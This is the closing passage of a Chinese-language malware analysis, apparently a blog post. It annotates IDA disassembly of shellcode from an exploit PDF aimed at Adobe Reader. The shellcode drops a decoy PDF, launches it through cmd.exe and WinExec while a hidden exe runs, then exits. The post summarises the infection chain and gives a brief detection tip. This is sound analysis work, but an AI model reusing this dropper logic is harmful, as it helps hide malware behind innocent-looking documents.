seg000:0000025F 01 DE                         add     esi, ebx                        ; += pdf基址
seg000:00000261 81 C6 1C 12 00 00             add     esi, 121Ch                      ; += 121ch
seg000:00000261                                                                       ; esi = 恶意pdf内部保存的一个正常的pdf
seg000:00000267 8B 4D E4                      mov     ecx, [ebp-1Ch]                  ; pdf长度
seg000:0000026A F3 A4                         rep movsb                               ; memcpy
seg000:0000026C 8B 7D FC                      mov     edi, [ebp-4]
seg000:0000026F 6A 00                         push    0
seg000:00000271 FF 75 C0                      push    dword ptr [ebp-40h]
seg000:00000274 FF 57 18                      call    dword ptr [edi+18h]             ;  _lcreat,创建文件
seg000:00000274
seg000:00000277 89 45 C4                      mov     [ebp-3Ch], eax                  ; 文件句柄
seg000:0000027A 3D FF FF FF FF                cmp     eax, 0FFFFFFFFh                 ; 对比是否成功,成功就跳转
seg000:0000027F 74 6A                         jz      short loc_2EB                   ; 退出进程
seg000:0000027F
seg000:00000281 57                            push    edi
seg000:00000282 89 C3                         mov     ebx, eax                        ; 文件句柄
seg000:00000284 FF 75 F0                      push    dword ptr [ebp-10h]             ; 缓冲区大小
seg000:00000287 FF 75 D4                      push    dword ptr [ebp-2Ch]             ; 缓冲区首地址
seg000:0000028A 50                            push    eax                             ; 文件句柄
seg000:0000028B FF 57 1C                      call    dword ptr [edi+1Ch]             ; _lwrite,写入文件
seg000:0000028B
seg000:0000028E 53                            push    ebx                             ; 关闭内存句柄
seg000:0000028F FF 57 10                      call    dword ptr [edi+10h]             ;  CloseHandle

随即申请内存空间,从本样本中特定偏移处读取藏起来的正常pdf文件,到缓冲区中

然后就在Adobe Reader的目录中创建pdf文件,并写入

最后:

seg000:00000292 8B 7D C0                      mov     edi, [ebp-40h]                  ; pdf文件路径,求长度
seg000:00000295 81 C9 FF FF FF FF             or      ecx, 0FFFFFFFFh
seg000:0000029B 31 C0                         xor     eax, eax
seg000:0000029D F2 AE                         repne scasb
seg000:0000029F F7 D1                         not     ecx                             ; ecx = pdf路径长度
seg000:000002A1 29 CF                         sub     edi, ecx                        ; edi = pdf路径首地址
seg000:000002A3 89 FE                         mov     esi, edi
seg000:000002A5 8D BD B8 FD FF FF             lea     edi, [ebp-248h]                 ; edi = esp+4
seg000:000002AB C7 07 63 6D 64 2E             mov     dword ptr [edi], '.dmc'         ; 入栈一个字符串 cmd.exe /c
seg000:000002B1 C7 47 04 65 78 65 20          mov     dword ptr [edi+4], ' exe'
seg000:000002B8 C7 47 08 2F 63 20 22          mov     dword ptr [edi+8], '" c/'
seg000:000002BF 81 C7 0C 00 00 00             add     edi, 0Ch                        ; edi 移动到字符串后面
seg000:000002C5 F3 A4                         rep movsb                               ; 赋值esi进来,形成命令行
seg000:000002C7 4F                            dec     edi                             ; 去掉最后的\x00
seg000:000002C8 C6 07 22                      mov     byte ptr [edi], 22h ; '"'
seg000:000002CB 47                            inc     edi
seg000:000002CC C6 07 00                      mov     byte ptr [edi], 0
seg000:000002CF 5F                            pop     edi
seg000:000002D0 8D 85 B8 FD FF FF             lea     eax, [ebp-248h]                 ; 栈中完整命令行地址
seg000:000002D6 E8 00 00 00 00                call    $+5
seg000:000002D6
seg000:000002DB 81 04 24 10 00 00 00          add     dword ptr [esp], 10h            ; 构造返回地址
seg000:000002E2 6A 00                         push    0
seg000:000002E4 50                            push    eax
seg000:000002E5 FF 77 24                      push    dword ptr [edi+24h]             ;  GetCommandLineA
seg000:000002E8 FF 67 20                      jmp     dword ptr [edi+20h]             ;  WinExec
seg000:000002E8                                                                       ;  执行命令行
seg000:000002E8

拼接命令行:cmd.exe /c+pdf绝对路径到缓冲区,然后通过WinExec进行调用,打开正常的pdf文件,就好像程序从没退出过一样,直接就打开了pdf,实际上后头悄悄执行了个恶意的exe样本

最后的最后:

seg000:000002EB                               ; ---------------------------------------------------------------------------
seg000:000002EB
seg000:000002EB                               loc_2EB:                                ; CODE XREF: seg000:000000E1↑j
seg000:000002EB                                                                       ; seg000:00000104↑j
seg000:000002EB                                                                       ; seg000:00000199↑j
seg000:000002EB                                                                       ; seg000:0000027F↑j
seg000:000002EB 6A 00                         push    0                               ; 退出进程
seg000:000002ED FF 57 2C                      call    dword ptr [edi+2Ch]             ; ExitProcess(0)

调用ExitProcess(0)退出进程

防护

该恶意样本留下了明显的硬编码特征,只要读取pdf特定位置的数据即可判断是否是该恶意样本

总结

本次实践的目标是搞明白恶意样本是如果通过漏洞来执行的,整体流程大致如下:

  1. 恶意pdf通过漏洞利用ROP执行到shellcode
  2. 通过遍历文件句柄找到pdf恶意样本本身这个文件,pdf里是漏洞利用的流程,并且藏匿了一个正常的pdf和一个exe
  3. 到系统临时目录中创建一个srvhost.exe,并把漏洞利用pdf藏匿的exe解密并写入,以及执行
  4. 到软件根目录创建一个pdf文件,并把漏洞利用pdf藏匿的正常pdf写入
  5. 构造命令行启动正常的pdf
  6. 退出进程

整套流程仿佛只点开了一个普通的pdf一样,实际上里面通过漏洞执行了恶意可执行程序,这里可以通过替换恶意样本中藏匿的exe来达到执行不同的恶意程序的目的

本次内容到此为止了,这里对具体释放出来的exe就不进行详细分析了

参考资料


评论